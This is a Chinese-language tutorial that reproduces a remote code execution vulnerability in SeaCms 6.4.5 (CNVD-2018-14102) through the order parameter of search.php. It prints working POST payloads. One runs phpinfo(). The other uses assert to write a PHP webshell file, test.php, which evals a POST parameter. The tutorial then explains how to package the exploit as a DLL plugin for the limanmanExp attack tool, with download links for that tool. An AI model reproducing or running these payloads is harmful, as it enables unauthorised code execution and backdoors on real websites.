SeaCms6.4.5 远程代码执行漏洞复现
SeaCms6.4.5存在远程代码执行漏洞。
注:工具地址
更新4.2版本
链接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA
提取码:rw8l
https://wws.lanzous.com/b01zycnta
密码:g3uz
开发手册地址:https://www.kancloud.cn/qq496672097/limanmanexp
漏洞点存在于search.php中。
漏洞的主要成因
search.php调用_RunMagicQuotes方法,将全局变量注册成变量。
在searchPHP中 echoSearchPage过滤不严,且直接将$order参数进行注册。
最后使用模板echoSearchPage()方法进行翻译,翻译的过程中使用模板标签,即可达到翻译之后的模板是PHP代码的目的。由于echoSearchPage()方法中的规定,代码中包含if的部分才能够被当作php代码进行解析。并且使用eval进行代码执行。所以还需要进行代码组装。
具体代码审计部分请参阅网络资料。
复现
搭建环境
使用Phpmystudy 进行搭建。 注意点:不能使用php7进行复现 。seacms仅支持非PHP7版本。
构造Post请求包
由已经公开的漏洞信息可以知道,触发点在search.php 。该PHP是首页的搜索功能。 计划使用burpsuit直接拦截数据包进行修改。
修改数据包内容
添加body内容为
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
发送即可生成文件名为test.php的木马文件。
limanmanExp插件制作
下载模板
https://www.kancloud.cn/qq496672097/limanmanexp/2139154
创建一个.net framework 4 库文件
下载模板,替换原有代码
设置class名称
设置class名称为CNVD_2018_14102
设置url
设置url为url["url"]+="/search.php"
设置body
需要注意的是, 这里的
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
searchtype=5&searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'<?php eval($_POST["pass"]);?>')
VS会自动给你添加空格, 需要手动修正。 另外也需要注意转义“
等特殊字符。
设置header
由于是需要上传POST数据,那么就必须设置ContentType
等头部。 需要注意的是, 这里的头部类型没有-
,具体哪些头名称没有-
,请参考手册
设置请求方式
请求方式与请求次数有关, 具体的请求关系图如下:
由于没有多次请求我们可以不管上面的图
直接将numberOfTime
修改为2即可。
生成.dll文件。
点击 ”生成“-》”重新生成解决方案“即可在项目的bin
->debug
目录获得dll文件, 放入工具的插件目录即可
测试
由于只使用了一Poc
开头的方法。 那么在工具中也只能点击POC
按钮。
测试效果如下